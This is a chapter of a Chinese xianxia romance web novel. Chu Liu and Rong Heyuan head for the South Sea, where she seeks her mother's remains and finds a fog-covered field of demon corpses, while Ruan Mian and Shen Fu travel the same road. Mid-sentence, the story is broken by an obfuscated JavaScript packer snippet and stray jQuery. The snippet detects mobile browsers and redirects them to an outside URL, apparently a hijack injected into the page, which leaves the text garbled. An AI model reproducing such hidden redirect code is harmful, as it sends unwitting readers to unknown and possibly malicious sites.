次日清晨,两人再次打点好包袱,准备启程。
“我娘亲既然已经死在了南海,我就要把她的尸骨带回来,就算没有,我也要前去祭拜。”
湛蓝天空无边无际,日光熹微明媚,是个晴朗的好天气。楚柳的声音轻柔却坚定,容贺渊看向她的目光满含温柔,“无论你去哪,做什么,我都会陪你。”
临行前,容贺渊看到楚柳腰间悬挂的淡蓝色锁魂珠,目光一顿,低声说道,“柳柳,我想要看看那颗灵珠。”
“好。”楚柳毫无防备地取下那颗灵珠递过去。
夜色漆黑,灵珠在同时被他们触碰到的瞬间,突然亮起微光。
容贺渊把那颗泛着冰蓝色光芒的灵珠握在掌心,一瞬间又觉得头痛欲裂。
他眉头紧皱,脑内好像有什么应声而碎,又看到了那玉雕宫墙下的画面。白发苍苍的老人抚摸他的脸颊,粗糙的手掌传来针扎般的痛感。
那个年幼的孩子正是他自己。
“……你要报仇。”
又是这句,到底为什么要报仇,报的是什么仇,向谁报仇?
容贺渊集中精力,奈何脑海中闪过的却永远都是这些画面,无论他再怎么回忆前因后果,都无法记起在这一幕之前和之后都发生过什么。
“喵呜!”
他突然听到一声重物落地时的声响,回头一看,原本坐在桌边的楚柳竟然变成了一只狸花猫,从椅子摔到地上,灵活地滚了两圈。
“喵喵喵喵!”
一仙一猫互相瞪眼。
怎么回事!
容贺渊连忙快步走过去,把小猫抱进怀里,挠了挠它的下巴,“你怎么突然就现出原形了?”
狸花猫在他怀里用力摇头,意思是这并非她的本意!
“难道……?”容贺渊的目光突然看向桌上那颗泛着蓝色幽光的灵珠。
每次灵珠都是同时影响到他们两个。他失去记忆,楚柳就失去妖力,他恢复记忆,那天楚柳也恢复了妖力。
现在他意识到了被抹除的记忆,楚柳就……变成小猫?
摸起来软乎乎的,好可爱。
容贺渊抿了抿嘴唇,微不可见地向上弯起嘴角,他明明能想办法帮楚柳变回人形,却偏做出一副难搞的样子,“事不宜迟,我们还是先上路。”
“喵!”楚柳大声反抗,却还是被仙君抱在怀里揉了揉耳朵,就这样出门了。
窗外是纯白鹅毛般的漫天飞雪,屋内燃着炉火,比人间的三伏天还要炎热几分。
阮眠白皙的额头上热汗涔涔,她神情专注至极,紧紧盯着手中的药瓶。
站在她旁边的沈赋时不时帮她打打下手,再扇扇风,像个忠心耿耿的侍卫。
“这都一整天了,还没好。”
沈赋打了个哈欠,双眸仿佛含了秋水般湿润动人,似笑非笑地看向阮眠,手中执着折扇为她扇了扇风,忽然觉得好没意思。
“大小姐,你要不要跟我聊聊天?”
沈赋把折扇调转了方向,用圆滑些的扇柄那边挨上阮眠的下巴,使她微微抬起头来。
吹弹可破的皮肤,眉眼漆黑,嘴唇红润,狐妖的容貌向来都是摄人心魂,让他每回细看都觉得心跳加速。
“少烦我。”
阮眠没空理他,两手都忙着摆弄药罐,背后突然“砰”地长出一只毛绒绒的雪白尾巴,在沈赋的手臂上狠狠抽打了一下。
“哎哟。”
沈赋吃痛直蹦,阮眠也感觉手臂痛了一下,明明是自己打重了,还要骂沈赋讨厌至极。
又过了一个时辰,沈赋在旁边摇扇子摇得昏昏欲睡,突然听到一声巨响。
阮眠凝神看着桌上冒着白烟的药瓶,纤长卷翘的睫毛微微一颤,挑眉道:“成了。”
“恭喜恭喜,”沈赋意思意思拍拍手,“那下一步,怎么找到传说中的万妖之王?”
阮眠小心仔细地收起药瓶,“谁说是传说中的了?一千年而已,相隔不算太久。”她眯了眯眼睛,“我们去南海。”
沈赋惊讶道:“整整一千年了,她还在南海镇守着那群海妖?”
“是啊,被囚禁一千年的滋味,想必定是不好受,”阮眠喃喃自语,“前几百年,她倒是还能让魂魄离开肉身,偷跑出来几日,可是随着海妖暴动的次数越来越多,她也难以脱身。”
阮眠说到这里,语气似乎有几分悲伤难过,可是下一秒,她又恢复了一贯冷冷嘲讽的样子,“哼,若不是她只会委曲求全不敢反抗天帝,又怎会沦落至此?我们所有妖怪都怎会沦落到任由神仙抓捕杀害,肆意练成仙丹的地步!说到底,这一切都是她咎由自取。”
阮眠咬牙切齿,胸前内的愤怒和心疼翻江倒海般搅在一起,最后恨恨地说道,“都怪她太过软弱。”
楚柳和容贺渊这些天都在路上。
南海离得很远,路途艰难,道阻且长,但是因为和仙君互相陪伴,她也没有觉得辛苦。
第三日楚柳才变回了人形。那天雾霭重重,沉沉的雾气中不知道掺了什么,害她连打了两个喷嚏,又一次张大嘴巴的时候突然就向后一仰,差点要掉下去的时候又被容贺渊抓住后脖子按回来,两人直接摔倒在地上。
她“哎哟”地叫了两声,却是不疼。她揉了揉脑袋,看到被压在底下当肉垫的仙君,立刻手忙脚乱地爬起来,“你没事吧!”
“没事。”容贺渊的表情竟像是还有些舍不得,颇为留恋地看了看楚柳的发顶。
楚柳很凶地在他肩膀上咬了一口,“到底喜欢那双耳朵还是喜欢我啊!”
“自然是喜欢你。”容贺渊失笑,揉了揉她的头发。
楚柳哼了一声,活动活动胳膊和腿,四周看了看。这里是一处空旷的平地,四周并没有什么遮蔽物,但是不知从何时开始,白茫茫的大雾就越来越多,没有消散。
很快就要走到南海边上了,但是前方的路却有些看不清尽头。
“怎么又解开了?怪事真是一桩接着一桩,”楚柳吸了吸鼻子,心头突然用力一跳,“你有没有闻到这雾气中像是有奇怪的味道?”
容贺渊眉头微皱:“没有。”
“难道是我嗅觉失灵了?”楚柳歪着头冥思苦想,只觉得这味道越来越奇怪,她身体也有些不舒服起来,心跳加快,头晕脑胀,四肢绵软。她突然意识到什么,“这是死去的妖怪的味道…”
容贺渊瞳孔一缩。
他向来都是只抓活妖,抓到了便交给专门炼丹的老神仙处置,还不曾知道死妖是什么味道。
楚柳的脸色却是越来越差,一张脸惨白如纸,鼻梁渗出细细的汗珠。
“那些死去的妖怪在哪里呢?”
她又吸了吸鼻子,慢慢地俯下身,膝盖跪在冰冷的地上,双手也摸进了潮湿的泥土里。
是因为雾吗?这些泥土怎么湿漉漉的,像是浸泡在……
楚柳猛地睁圆眼睛,抬起手掌摊在眼前,看到了顺着手指不断淌下来的,粘腻的,黑红色的血,散发着一种令人作呕的腥臭味。她顿时觉得胃里翻江倒海,差点吐出来。
“柳柳。”
容贺渊撑住她的身体,扶住楚柳慢慢站起。他的眼神中也满是震惊,两人一路过来,地上的泥土一直都是正常的样子,可是接触了弥漫的雾气,埋藏在地底下的血水不断向上翻涌,现在他们所在的地方,全都埋着妖怪的尸骨。
“一千年前,南海曾经有过一场妖界的战乱,”容贺渊在楚柳的耳边低声说,“这些也许都是那时留下的。这么多年来,很少有神仙或是妖怪敢接近这里,所以一直无人清理,任由那些尸骨在此腐烂。”
楚柳处在惊惧之中,一时竟然忘记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691661|173381||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问他怎么会知道这些,下意识当成这些都也是从茶馆说书人那里听来的。容贺渊撕下一块白色衣袍帮她擦干净手指上的污血,低声道,“别怕,我在。”
“嗯,”楚柳用力地深呼吸几下,顿时感到安心了些,她犹豫地看了看周围弥漫的白雾,“这些雾都是从海上飘来的,”她咬了咬嘴唇,“你说,既然很少有妖怪接近这里,那我娘亲怎么会死在这儿?……”
她的声音越来越小,恐惧如同一只狰狞的利爪,牢牢攫取住她的心脏。
难道娘亲的尸骨也和这些一千年前战死的妖怪同样埋在地下?那她岂不是没办法知道娘亲葬身在何处了。
原本以为能一切顺利,找到尸骨回去和小葵他们团聚,只是现下看来,南海这地方到处都透着诡异,疑点重重。
容贺渊安抚地握了握她的手,“南海附近有很多一直生活在此的海妖,若是问一问,也许会知道关于你娘亲的事。”
“好。”楚柳慢慢地叹了一口气。
妖盟的信件不会做假,事到如今她已经不敢奢望娘亲会平安无事,只是希望至少知道能在哪里祭拜,让她以后也有一处能怀念的地方。
去南海这一路上天寒地冻,好像穿越了一整个冰原,每隔几天都要下一场大雪。
沈赋的睫毛上沾了白色的雪花,使他看起来毛茸茸的,只是眨眨眼就融化了。
他打了个喷嚏,突然一个重心不稳险些摔倒,阮眠下意识想扶他一把,突然却感觉头痛欲裂,“嘶”地抽了一口冷气。
她站稳后耳边仍是阵阵嗡鸣,好像有谁用锤子在脑袋上重重砸了一下。
沈赋看到她秀气的眉间有团黑气若隐若现,心下一惊,连忙扶住她的手臂,“很疼吗?”
那阵如同针扎般剧烈的疼痛很快便消失了,阮眠并不知道自己的眉宇间缭绕黑雾,挡住沈赋了沈赋伸过来的手,“没事,疼不疼你自己不知道?”
可是沈赋却真的没有感觉到那阵疼痛。
又或者说,他已经痛过一次,永远都不会再痛了——那团黑雾,正是走火入魔的前兆。
阮眠冷笑一声,“喂,你这泥巴做的破身体不会哪天散架了吧?我可不想灰飞烟灭。”
沈赋的掌心渗出冷汗,定定地看向她,突然神色认真地说道:“我不会有事,你放心,为了你,我不会有事。”
阮眠却是懒得认真听他唠唠叨叨,只当他又在抽风,两人继续向前走着,很快就要到南海了。
“我认识一个树妖,”阮眠看似不经意地提起,“他最擅长做东西了,小时候就是他教我和楚柳怎么做桌子,椅子……还有弹弓,”想到从前有趣的事,阮眠轻笑了一声,“等日后,我让他用木头给你做一个身体,肯定比泥巴要好。他的手艺可是很厉害的。”
“难道比我还厉害?”沈赋的语气不自觉带了一点酸意,像是在吃醋。
阮眠倒也有心情哄他,贴在沈赋的耳边柔声说道,“是,你最厉害了。”那声音妩媚甜腻,听了连骨头都酥软起来,沈赋正在得意,阮眠却又突然想到什么,话锋一转,“三年打猎却抓不到兔子的时候——哭得最厉害。”
沈赋脸颊一红,表情不悦道:“你怎么总提这个!那时我只是……”他止住话头,又笑嘻嘻道,“我知道了,一定是从那时开始,你就对我一见钟情,念念不忘。”
阮眠从鼻腔冷哼出一声,不再理他。
沈赋跟在她身后呼了口气,却是心道好险,可是刚放松下来,就又觉得一阵不安。
同命咒竟然还会把他体内冲撞的邪气也传到阮眠身上?
他已经没有回头路可走了,但阮眠千万不能像他一样,不能变成像他这般的……怪物。
他们正往前走着,四周突然开始弥漫起了白雾,二人同时停在原地,听到前面传来了一阵慌乱的脚步声。